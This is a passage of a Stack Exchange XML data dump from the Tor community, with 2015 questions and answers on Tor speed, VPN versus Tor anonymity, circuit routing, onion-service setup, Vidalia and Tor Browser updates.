path.&lt;/p&gt;&#xA;" OwnerUserId="7166" LastEditorDisplayName="user6671" LastEditDate="2019-02-21T22:33:33.047" LastActivityDate="2019-02-21T22:33:33.047" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="6619" PostTypeId="1" CreationDate="2015-04-09T22:02:19.397" Score="0" ViewCount="8075" Body="&lt;p&gt;Before using Tor my internet speed on Speedtest.net was 70 mb, but now it's just 10 mb.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How I can fix this?&lt;/p&gt;&#xA;" OwnerUserId="7169" LastEditorUserId="71" LastEditDate="2015-04-17T11:50:29.473" LastActivityDate="2015-04-22T17:33:05.847" Title="When using Tor I have slower Internet" Tags="|speed|" AnswerCount="3" CommentCount="2" FavoriteCount="0" ClosedDate="2015-04-24T12:20:47.650" ContentLicense="CC BY-SA 3.0" />
  <row Id="6620" PostTypeId="2" ParentId="4857" CreationDate="2015-04-09T22:09:31.310" Score="2" Body="&lt;p&gt;As per this suggestion&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.linuxquestions.org/questions/debian-26/why-apt-get-comes-with-error-on-this-802849/&quot; rel=&quot;nofollow&quot;&gt;http://www.linuxquestions.org/questions/debian-26/why-apt-get-comes-with-error-on-this-802849/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I ran &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;ifconfig lo up&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and everything worked. I have zero clue what this does, and if someone writes this up better I will accept their answer, but until then I will leave this here to hopefully help people with the same problem&lt;/p&gt;&#xA;" OwnerUserId="5379" LastActivityDate="2015-04-09T22:09:31.310" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6625" PostTypeId="2" ParentId="6619" CreationDate="2015-04-11T02:52:50.883" Score="2" Body="&lt;p&gt;The nature of Tor means that your speed will be reduced, your traffic will be routed through several computers before it reaches the internet. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Either disable Tor, or find a VPN provider.&lt;/p&gt;&#xA;" OwnerDisplayName="user7179" LastActivityDate="2015-04-11T02:52:50.883" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6626" PostTypeId="1" AcceptedAnswerId="9679" CreationDate="2015-04-11T02:56:19.107" Score="1" ViewCount="139" Body="&lt;p&gt;Is it possible to use a common php hosting to run a meek bridge ?&lt;/p&gt;&#xA;" OwnerUserId="3225" LastActivityDate="2016-02-18T10:48:43.423" Title="Anyway to run a meek bridge on a php hosting?" Tags="|bridge|meek|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6628" PostTypeId="2" ParentId="4245" CreationDate="2015-04-11T13:14:09.883" Score="2" Body="&lt;p&gt;Short answer: Because a VPN account degrades your anonymity to pseudonymity.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Long answer:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;All your VPN traffic is tied to a single VPN account. If one &quot;anonymous&quot; post (or page view) can be linked to another &quot;anonymous&quot; post (or page view) as coming from the same user... the anonymity is no more, even if your IP is still unknown. Instead of telling the VPN operator your IP, you tell them about yourself simply by revealing what you do on the Internet.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Meanwhile bare Tor exit traffic is shared by all Tor users, so no two posts (or page views) can be confidently attributed to the same user.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;P.S.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;This could be avoided in theory by using some kind of VPN that's not account-based (similarly to Tor). But even then it would have to have a massive number of users who share the traffic in order to deliver practical anonymity.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Another possible (although probably not permitted) countermeasure would be to somehow share your VPN account between hundreds of users unbeknownst to your VPN operator.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Third countermeasure: redirect random traffic from some source (maybe your own Tor exit node) in order to obscure your VPN identity. But even &quot;hiding in the crowd&quot; tactic is not entirely anonymous because a malicious VPN operator still knows where to look for for all your traffic, and that's a single VPN account.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="7182" LastEditorUserId="7182" LastEditDate="2015-04-11T17:34:45.523" LastActivityDate="2015-04-11T17:34:45.523" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6629" PostTypeId="1" CreationDate="2015-04-11T18:07:06.737" Score="1" ViewCount="212" Body="&lt;p&gt;When I go to the hidden wiki page and go to a services site, I can't actually get things done and can't quite figure it out. The problem is that they want a username and password, but how do I register for that? There is no direction for that. Is it a secret word of mouth thing or do I have to search through forums or do I use my stack username and password?&lt;/p&gt;&#xA;" OwnerUserId="7183" LastEditorUserId="435" LastEditDate="2015-04-13T19:40:39.260" LastActivityDate="2015-04-13T19:40:39.260" Title="how to log into hidden services" Tags="|onion-services|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="6630" PostTypeId="1" AcceptedAnswerId="6631" CreationDate="2015-04-12T00:59:02.593" Score="2" ViewCount="1173" Body="&lt;p&gt;So lets say I connected to xyz.onion&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I use this route&lt;/p&gt;&#xA;&#xA;&lt;p&gt;me &gt; node 1 &gt; node 2 &gt; node 3 &gt; rendezvous &gt; node 4 &gt; node 5 &gt; node 6 &gt; website&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I understand that it uses layers to encrypt the path so each node only knows the next destination and not the full path.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But how does the website send it back? if it sends some random data to node 6, how does node 6 know where this goes? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know that node 6 remembers the sender route so would know to send it to node 5 but how does it identify where the data the website is sending wants it to go. e.g. node 6 is used by this website for 3 different connections as the exit node. how does node 6 know where each bit of data is meant to be sent if there are 3 paths (because of 3 connections example) and the website only knows node 6's address and nothing else?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So essentially&lt;/p&gt;&#xA;&#xA;&lt;p&gt;website sends data saying &quot;example&quot; to node 6&#xA;website sends data saying &quot;example2&quot; to node 6&#xA;website sends data saying &quot;example3&quot; to node 6&lt;/p&gt;&#xA;&#xA;&lt;p&gt;how does node 6 know the path the website wants this data to be sent? does it use a secret code or something?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope that makes sense&lt;/p&gt;&#xA;" OwnerDisplayName="user7184" LastActivityDate="2015-04-12T01:50:42.663" Title="How does tor know the return path?" Tags="|relays|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6631" PostTypeId="2" ParentId="6630" CreationDate="2015-04-12T01:50:42.663" Score="2" Body="&lt;p&gt;It uses a secret code, more or less.&lt;br&gt;&#xA;Each path has a circuit id and each connection has a stream id. When relay 6 receives something from the website, it reads the circuit id and sends it back to the corresponding relay on this circuit.&lt;br&gt;&#xA;Rendezvous Point has a table, so that it can know which server circuit connects to a client circuit (and vice versa).&lt;/p&gt;&#xA;" OwnerUserId="4894" LastActivityDate="2015-04-12T01:50:42.663" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6632" PostTypeId="1" CreationDate="2015-04-12T05:38:27.350" Score="3" ViewCount="287" Body="&lt;p&gt;Bookmarks are (for me) a handy feature to keep track of notable sites in the internet.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does the Tor Browser Bundle (and does that differ from the way Firefox behaves?)&#xA;offer the bookmarks saved during sessions to webservices to be read?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How actually do bookmarks differ from cookies or the installed addons in the way they reveal themselves (awful english...) to people who are not the User?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is it safe to use bookmarks (including across multiple sessions)?&#xA;(pretend the system this is happening on is not compromised)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(could you crate the tag bookmarks or bookmark please?)&lt;/p&gt;&#xA;" OwnerUserId="7186" LastEditorUserId="6597" LastEditDate="2015-04-13T19:39:16.370" LastActivityDate="2015-12-22T02:57:05.523" Title="Can bookmarks set in the TBB (or Firefox) be used for Fingerprinting? Is it safe to use bookmarks?" Tags="|tor-browser-bundle|security|" AnswerCount="1" CommentCount="1" ClosedDate="2015-12-23T13:35:33.323" ContentLicense="CC BY-SA 3.0" />
  <row Id="6633" PostTypeId="1" CreationDate="2015-04-12T09:36:26.690" Score="0" ViewCount="312" Body="&lt;p&gt;I want Tor Browser to use my real IP address when I use my Google account and my Facebook account so as to skip the security question. I want to use Tor Browser as my default browser because Mozilla crashed too much. I don't need to hide my IP.&lt;/p&gt;&#xA;" OwnerUserId="7188" LastEditorUserId="435" LastEditDate="2015-04-17T11:45:16.403" LastActivityDate="2015-04-21T13:56:15.993" Title="How can I set IP , do not hide my real IP" Tags="|anonymity|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6635" PostTypeId="1" AcceptedAnswerId="6636" CreationDate="2015-04-13T03:59:37.337" Score="2" ViewCount="1184" Body="&lt;p&gt;If I try to install Vidalia on Ubuntu it does not work. It returns an error about user/permission on &lt;code&gt;/var/run/tor&lt;/code&gt; directory &lt;code&gt;... maybe you are running tor with the wrong user&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Why has the Vidalia project been discontinued ? &lt;/li&gt;&#xA;&lt;li&gt;Is there any alternative that offer the same functionality ? &lt;/li&gt;&#xA;&lt;li&gt;Is there any way to use Vidalia ?&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="3225" LastEditorUserId="435" LastEditDate="2015-04-13T19:41:00.923" LastActivityDate="2015-04-13T19:41:00.923" Title="About Vidalia not working/discontinued" Tags="|vidalia|linux|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6636" PostTypeId="2" ParentId="6635" CreationDate="2015-04-13T06:50:40.813" Score="3" Body="&lt;p&gt;Vidalia has been discontinued for a long time now because it has not been maintained to keep up with changes in tor. At present there is no officially recommended alternative, though I have heard some rumors about it being revived.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To answer &quot;Is there any way to use it?&quot; Yes of course it is possible, but you should not use it. It is discontinued for a reason, and we don't know the security implications of using unmaintained software.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As a side note, you make it sound like you are using packages out of the Ubuntu repositories. See &lt;a href=&quot;https://www.torproject.org/docs/tor-relay-debian.html.en&quot; rel=&quot;nofollow&quot;&gt;https://www.torproject.org/docs/tor-relay-debian.html.en&lt;/a&gt; for a warning telling you to not using Ubuntu's repositories for tor.&lt;/p&gt;&#xA;" OwnerUserId="1172" LastActivityDate="2015-04-13T06:50:40.813" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="6638" PostTypeId="2" ParentId="6633" CreationDate="2015-04-13T07:24:46.250" Score="1" Body="&lt;p&gt;Welcome to Tor SE, I'll try to answer your questions, but I also have some comments.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Although it is possible, you should never attempt to use tor browser without tor. Switching back and forth between your hacked not-anonymous tor browser and the not-hacked tor browser would be a personal burden on you that you will eventually make a mistake doing that. If you want to remain anonymous, only use tor browser with tor. If you want to use your real ip address, don't use tor browser.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Assuming by &quot;Mozilla&quot; you mean &quot;Firefox&quot; (made by Mozilla), I would take a step back and look at your situation. If firefox is crashing so often that you are getting annoyed by it, then you have probably done something very wrong. I would look into why your firefox is crashing. Is it a virus? Have you installed a buggy extension? Is your firefox severely outdated? An up to date firefox should not be crashing at all.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As for accessing google and facebook. Once you establish a track record of using these services through tor, they will stop questioning you about why you are connecting from a weird ip address. If by security questions, you are referring to having to solve captchas (or similar), then this is unavoidable through tor at the moment, as this is how most services allow you to prove that you are a human.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Final note: it's tor, not TOR. Although tor was originally nothing more than &quot;The Onion Router&quot;, it has since evolved into an entire anonymity ecosystem, and the change in nomenclature to tor is to break the idea that tor is nothing more than a router.&lt;/p&gt;&#xA;" OwnerUserId="1172" LastActivityDate="2015-04-13T07:24:46.250" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6639" PostTypeId="2" ParentId="6629" CreationDate="2015-04-13T07:28:54.997" Score="1" Body="&lt;p&gt;Logging in to onionsites works the same way as logging into websites. Namely, it depends on the site. How do you log in to facebook? Well you have to sign up. How do you log in to gmail? Sign up with gmail. Every website has its own way of letter users sign up and log in. The same goes for onionsites. If you want a more specific answer, you need to provide a specific onion address.&lt;/p&gt;&#xA;" OwnerUserId="1172" LastActivityDate="2015-04-13T07:28:54.997" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6641" PostTypeId="1" CreationDate="2015-04-13T23:12:35.133" Score="1" ViewCount="3184" Body="&lt;p&gt;So the .onion address is half of the hashed public key? What happens if another public key's hash has the same first half but a separate other half and therefore by chance they have the same domain, how does tor deal with this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, where is tor's distributed hash table stored? Is it downloaded locally or is it connected to on tors nodes? If so isn't the hash table going to be extremely large in size?&lt;/p&gt;&#xA;" OwnerUserId="7198" LastEditorDisplayName="user6671" LastEditDate="2019-02-10T19:59:09.233" LastActivityDate="2019-02-10T19:59:09.233" Title="Where is Tor's distributed hash table stored?" Tags="|onion-services|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="6643" PostTypeId="2" ParentId="6641" CreationDate="2015-04-14T09:38:07.120" Score="1" Body="&lt;p&gt;To your first question, if there was a collision then Tor would treat both hidden services as the same, meaning it depends on timing which is available. This is the same behaviour when the hidden services key is shared between two different machines and both set up a hidden service.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Second question, the hash table is stored at the relays and the information is spread out over all relays with the HSDir flag. No client fetches them all. So yes, the dataset is large, but it's manageable.&lt;/p&gt;&#xA;" OwnerUserId="6883" LastActivityDate="2015-04-14T09:38:07.120" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6646" PostTypeId="1" CreationDate="2015-04-14T12:14:23.350" Score="3" ViewCount="41181" Body="&lt;p&gt;I'm using Tor Browser 4.5a5 (based on Mozilla Firefox 31.6.0)&#xA;on Windows 7/64, home router environment.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Several iterations back, I could access &lt;a href=&quot;http://www.foxnews.com/&quot; rel=&quot;nofollow&quot;&gt;http://www.foxnews.com/&lt;/a&gt; .&#xA;Now, no matter how many times I get new identity, I see the error:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Access Denied&#xA;  You don't have permission to access &quot;&lt;a href=&quot;http://www.foxnews.com/404error/&quot; rel=&quot;nofollow&quot;&gt;http://www.foxnews.com/404error/&lt;/a&gt;&quot; on this server.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Is the problem an incorrect setting I have?&lt;/p&gt;&#xA;" OwnerUserId="7204" LastEditorUserId="88" LastEditDate="2016-04-07T16:28:26.290" LastActivityDate="2016-04-07T16:28:26.290" Title="why do I get &quot;Access Denied&quot; at certain web sites when I didn't last year?" Tags="|tor-browser-bundle|windows|blocked-services|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6647" PostTypeId="1" CreationDate="2015-04-14T15:09:06.040" Score="3" ViewCount="970" Body="&lt;p&gt;How does Tor know which HSDir to connect to to find the address in the hash table?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Let's say the address is &lt;code&gt;ro3jr3nvvn2223cd.onion&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How does tor know which HSDir will store this in their hash table?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Surely Tor cannot check every HSDir to see if it contains them, is there a way tor knows or does it actually manually check every HSDir?&lt;/p&gt;&#xA;" OwnerUserId="7198" LastEditorUserId="350" LastEditDate="2015-09-16T12:03:34.820" LastActivityDate="2015-09-17T10:42:41.903" Title="How does Tor know which HSDir to connect to?" Tags="|onion-services|hsdir|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="6648" PostTypeId="1" CreationDate="2015-04-14T21:27:53.247" Score="0" ViewCount="40" Body="&lt;p&gt;It is unlikely that there are many or any Tor users nearby.&lt;/p&gt;&#xA;" OwnerUserId="7211" LastActivityDate="2015-07-14T19:19:02.367" Title="If I use the bridge, how effective is it if I am living in a remote location in South America?" Tags="|configuration|" AnswerCount="1" CommentCount="1" ClosedDate="2015-09-01T19:12:54.220" ContentLicense="CC BY-SA 3.0" />
  <row Id="6649" PostTypeId="1" CreationDate="2015-04-14T21:33:13.973" Score="1" ViewCount="256" Body="&lt;p&gt;I run Tor Browser 4.0.8 on Windows. I've noticed since the upgrade from Tor Browser 3.x.x that Tor Browser now has an Auto-update function very similar to Firefox (see pictures).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/miYZe.png&quot; alt=&quot;Tor Browser update flag&quot;&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/OLKjW.png&quot; alt=&quot;Tor Browser Update Window&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does using this update window pose any security or performance threat when compared to the traditional method of going to Tor Project's website and downloading the installer file?&lt;/p&gt;&#xA;" OwnerUserId="3663" LastActivityDate="2015-04-15T13:29:33.040" Title="Is there a security risk posed by The Auto-update feature of Tor Browser?" Tags="|tor-browser-bundle|firefox|update|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6651" PostTypeId="1" CreationDate="2015-04-14T23:20:59.797" Score="1" ViewCount="670" Body="&lt;p&gt;I've set up polipo to work with Tor. When I configure the iceweasel browser to use the HTTP proxy at localhost:8118, everything works fine, and my global IP appears as some IP from some university (which indicates Tor is working through polipo). I'm trying to do the same thing but on python, like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;conn = http.client.HTTPConnection(&quot;localhost&quot;,8118)&#xA;conn.set_tunnel(&quot;server.com&quot;, 80)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Which is the code necessary to set up a proxy HTTP request. (don't ask me why set_tunnel is not for setting the proxy, it's written this way in the python docs).&#xA;Well, the code alone without the tunnel works, but with the tunnel I get some strange error messages. In order to try to discover what was happening, I made a connection to my computer, and captured the HTTP request being sent by polipo + Tor to my computer, and got this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;POST /tags/demo_form_method.asp HTTP/1.1&#xA;Host: localhost:8118&#xA;Accept-Encoding: identity&#xA;Content-Length: 40&#xA;Content-type: application/x-www-form-urlencoded&#xA;Accept: text/plain&#xA;&#xA;Nome=abcde&amp;amp;Telefone=24324&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;As you can see, the &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Host: localhost:8118&#xA;  line is specifying the server to respond to &quot;localhost:8118&quot; when in fact it should be the IP of the sender (which is my raspberry pi, that is connected miles away from here). So, something is going wrong and I don't know what's happening. When I analyze the packets from the iceweasel to my computer, everything's great, the Host is working.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="7212" LastActivityDate="2015-04-14T23:20:59.797" Title="Python + Polipo + Tor" Tags="|tor-browser-bundle|configuration|web-proxy|polipo|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6655" PostTypeId="2" ParentId="6649" CreationDate="2015-04-15T07:29:21.497" Score="1" Body="&lt;p&gt;Using the auto-update feature is the recommended way to keep your TBB installation current. Use it.&lt;/p&gt;&#xA;" OwnerDisplayName="user66" LastActivityDate="2015-04-15T07:29:21.497" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="6656" PostTypeId="2" ParentId="6649" CreationDate="2015-04-15T13:29:33.040" Score="0" Body="&lt;p&gt;As far as I am aware, the TBB auto-update functionality does so over SSL and has some form of signature checking in place to prevent against MiTM attacks injecting malicious code into an update (a good example of such an attack is &lt;a href=&quot;https://github.com/secretsquirrel/BDFProxy&quot; rel=&quot;nofollow&quot;&gt;bdfproxy&lt;/a&gt;). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;To verify this, I would advise installing TBB in a VM, running Wireshark, and waiting for the auto-updater to kick off and monitoring its traffic to check if it IS doing so over HTTPS. I intend on doing this once I have a bit of free time, but if you get there first, go for it :)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;TL;DR: Probably does not introduce risk, unless someone MiTM's you during the update and gets around SSL/Sig checking stuff that I believe is in place. However, best verify.&lt;/p&gt;&#xA;" OwnerUserId="7215" LastActivityDate="2015-04-15T13:29:33.040" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6657" PostTypeId="2" ParentId="6648" CreationDate="2015-04-15T17:12:19.113" Score="1" Body="&lt;p&gt;All Tor nodes are public except bridge relays. Your ISP won't know you are using Tor with bridges if that's what you mean.&lt;/p&gt;&#xA;" OwnerUserId="3386" LastActivityDate="2015-04-15T17:12:19.113" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6658" PostTypeId="1" CreationDate="2015-04-15T17:54:49.123" Score="5" ViewCount="12229" Body="&lt;p&gt;I have installed the tor-browser-package and I'd like to use tor only in combination with Thunderbird\torbirdy and without Firefox therefore I tried to start only tor.exe (I also tried tor.exe with some parameter (&lt;a href=&quot;https://www.torproject.org/docs/tor-manual.html.en&quot; rel=&quot;nofollow&quot;&gt;https://www.torproject.org/docs/tor-manual.html.en&lt;/a&gt;)) but torbirdy seems not to work in this case. Is there a way to start only tor without the Firefox browser under Windows?&lt;/p&gt;&#xA;" OwnerUserId="7216" LastEditorUserId="12586" LastEditDate="2016-05-22T21:12:16.053" LastActivityDate="2016-05-22T21:12:16.053" Title="Start only TOR without Firefox" Tags="|tor-browser-bundle|configuration|windows|email|torbirdy|" AnswerCount="1" CommentCount="2" FavoriteCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6660" PostTypeId="2" ParentId="6589" CreationDate="2015-04-15T21:04:11.800" Score="2" Body="&lt;p&gt;A description of the many changes made to Firefox to preserve users' anonymity is given in the &lt;a href=&quot;https://www.torproject.org/projects/torbrowser/design/&quot; rel=&quot;nofollow&quot;&gt;Tor Browser Design Document&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="7103" LastActivityDate="2015-04-15T21:04:11.800" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6662" PostTypeId="1" AcceptedAnswerId="6664" CreationDate="2015-04-16T17:55:32.253" Score="1" ViewCount="721" Body="&lt;p&gt;I am running a hidden service on an Ubuntu 14.04 laptop using the Apache 2 web server. I have downloaded the Tor Browser bundle and it works correctly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For some reason, I cannot access the hidden service's .onion url from another computer (using the Tor Browser) unless the Tor Browser is running on my server machine.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can access the site through localhost:port in a normal browser, so Apache is working. And I can access the site through the .onion url with the Tor Browser on either the server machine or another machine, but only when the Tor Browser is running on the server machine.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is this intentional? Are hidden service servers always running a Tor Browser in the background? If not, what am I doing wrong and/or what config files should I post for community analysis?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The tor service is running according to &lt;code&gt;ss -aln | grep 9050&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="7220" LastActivityDate="2015-04-17T04:56:39.617" Title="My hidden service doesn't load unless the Tor Browser is open on the server" Tags="|tor-browser-bundle|onion-services|ubuntu|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6664" PostTypeId="2" ParentId="6662" CreationDate="2015-04-17T04:56:39.617" Score="1" Body="&lt;p&gt;I think &lt;code&gt;ss -aln&lt;/code&gt; may be misleading you. The tor socket might still be listed by ss even after tor stops. Does &lt;code&gt;pgrep -x tor&lt;/code&gt; or &lt;code&gt;sudo service tor status&lt;/code&gt; indicate that tor is running?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I ask because I &lt;em&gt;thought&lt;/em&gt; that when you exit tor-browser, the corresponding tor will die too, unless you have tor installed separately, in which case tor-browser may use the already running tor and not kill said tor upon exiting. This would explain why your onion service is only accessible when tor-browser is open.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you want to run an onion service without having tor-browser open, try installing standalone tor system wide with &lt;code&gt;sudo apt-get install tor&lt;/code&gt; and configuring your system-wide tor configuration, probably &lt;code&gt;/etc/tor/torrc&lt;/code&gt; to setup your onion service.&lt;/p&gt;&#xA;" OwnerUserId="1172" LastActivityDate="2015-04-17T04:56:39.617" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="6665" PostTypeId="1" CreationDate="2015-04-17T13:11:33.157" Score="1" ViewCount="638" Body="&lt;p&gt;I am confuse about how to edit torrc file to add a proxy after tor. I saw that I have to edit the .torrc to do so, but adding a socks4/5 proxy remains unclear, either on the tor manual, or others websites.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want to do so to access website that recongnise tor users and dismiss them. For linux commands, I use to edit the proxychains-ng (by rofl0r) configuration file and it was straightforward but for browsers...&lt;/p&gt;&#xA;" OwnerUserId="7227" LastEditorUserId="6597" LastEditDate="2015-04-20T11:51:06.547" LastActivityDate="2015-12-30T01:11:54.320" Title="Add an exit proxy to Tor" Tags="|socks|website|proxy|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6669" PostTypeId="2" ParentId="6646" CreationDate="2015-04-17T15:03:59.163" Score="2" Body="&lt;p&gt;It's not your settings. I have experienced the same thing, however they are &lt;strong&gt;not&lt;/strong&gt; blocking all Tor exit nodes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;With Tails, you can switch your IP easily using Vidalia, and after trying foxnews just now I was able to get in on the 4th IP change.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;They most likely have banned various IPs one at a time. As a parallel, on some sites that use Disqus and have a lot of contentious trolls, I often have to change IP address until I get an unbanned one. Since Tor changes IP every 10 minutes, it gets irritating because I might have been posting okay but then get changed to a banned one.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is a way to change that 10 minute interval to something else in TBB, but apparently you can't do that in Tails because the Tails terminal user doesn't have permissions to change the torrc file.&lt;/p&gt;&#xA;" OwnerUserId="4973" LastActivityDate="2015-04-17T15:03:59.163" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6679" PostTypeId="1" CreationDate="2015-04-19T18:23:05.480" Score="0" ViewCount="806" Body="&lt;p&gt;I am using the Tor Browser not to hide from a government but instead to be safe from doxing by highly motivated ideological zealots. The content of my upcoming pseudonymous blog will be controversial, and I cannot afford to get doxed by those who may want to punish me for publishing the content. My fear is that these enemies will somehow get Wordpress.com to give up a list of all IPs associated with my blog (by using social engineering, fake administrative subpoena, hacking, etc.). Do I have any reason to fear that my real IP will be among those IPs?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have always connected to Wordpress.com using the most current available version of the Tor Browser for Mac. However, I did have to enable JavaScript in order to use the Wordpress.com backend for my blog. Is the stuff I do as I administrate the blog somehow riskier than just visiting a website? Should I worry about JavaScript if my activities are limited to Wordpress.com? &lt;/p&gt;&#xA;" OwnerUserId="7239" LastActivityDate="2019-06-23T09:40:09.863" Title="Am I safe from doxing with a Wordpress.com blog?" Tags="|anonymity|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6680" PostTypeId="1" CreationDate="2015-04-19T23:42:07.400" Score="1" ViewCount="204" Body="&lt;p&gt;My tor browser will connect just fine to some .onion sites, such as duckduckgo &lt;a href=&quot;http://3g2upl4pq6kufc4m.onion/&quot; rel=&quot;nofollow&quot;&gt;http://3g2upl4pq6kufc4m.onion/&lt;/a&gt;, but if I try to connect to a hidden .onion site, say &lt;a href=&quot;http://sheep5u64fi457aw.onion/&quot; rel=&quot;nofollow&quot;&gt;http://sheep5u64fi457aw.onion/&lt;/a&gt;, it says it is unable to connect.  I have tried this on numerous hidden sites and received the same error.  Help would be much appreciated.&lt;/p&gt;&#xA;" OwnerUserId="7241" LastActivityDate="2015-04-19T23:42:07.400" Title="I can't access hidden .onion sites on my tor browser" Tags="|tor-browser-bundle|onion-services|help|" AnswerCount="0" CommentCount="1" ClosedDate="2015-04-20T04:40:29.103" ContentLicense="CC BY-SA 3.0" />
